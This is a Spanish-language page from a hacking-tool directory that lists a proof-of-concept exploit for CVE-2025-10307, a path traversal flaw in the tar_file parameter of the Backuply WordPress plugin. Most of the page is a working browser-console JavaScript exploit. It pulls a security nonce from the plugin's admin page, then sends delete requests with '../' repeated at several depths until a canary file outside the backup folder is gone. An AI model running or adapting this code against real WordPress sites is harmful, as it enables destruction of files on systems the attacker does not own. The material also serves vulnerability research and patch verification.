Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/jfriedli/cve-2025-10307
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed Teaming
GitHubjfriedli/cve-2025-10307

CVE-2025-10307

Prueba de concepto del exploit para CVE-2025-10307 que demuestra la eliminación arbitraria de archivos mediante path traversal en el parámetro tar_file del plugin Backuply de WordPress.

Ver Repositorio
hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Exploit: Eliminación Arbitraria de Archivos mediante Backuply (path traversal en tar_file)

PoC de Consola del Navegador (admin autenticado)

root@kitploit:~
(async () => {
  const page = `${location.origin}/wordpress/wp-admin/admin.php?page=backuply`;

  // 1) Extract a valid nonce from the Backuply page
  const html = await fetch(page, { credentials: 'same-origin' }).then(r => r.text());
  const doc = new DOMParser().parseFromString(html, 'text/html');

  let security = (() => {
    const btn = doc.querySelector('[name="backuply_delete_backup"]');
    if (btn) {
      const form = btn.closest('form');
      const inp = form && form.querySelector('input[name="security"]');
      if (inp && inp.value) return inp.value;
    }
    const any = doc.querySelector('input[name="security"]');
    return any ? any.value : null;
  })();

  if (!security) {
    console.error('Nonce not found');
    return;
  }

  console.log('Nonce:', security);

  // Helper: send delete request
  const postDelete = (tar_file) => fetch(page, {
    method: 'POST',
    credentials: 'same-origin',
    headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
    body: new URLSearchParams({
      tar_file,
      security,
      backuply_delete_backup: 'Delete'
    })
  }).then(r => r.status);

  // Attempt path traversal deletion
  const outsideRel = 'outside/canary_outside.txt';
  const depths = [4, 5, 6, 7];

  for (const d of depths) {
    const tar_file = '../'.repeat(d) + outsideRel;

    console.log('Trying:', tar_file);
    await postDelete(tar_file);

    const res = await fetch(`${location.origin}/${outsideRel}`, { method: 'HEAD' });
    console.log(`depth ${d} → status ${res.status}`);

    if (res.status !== 200) {
      console.log('[+] File deleted via traversal at depth', d);
      break;
    }
  }
})();
Descargar herramienta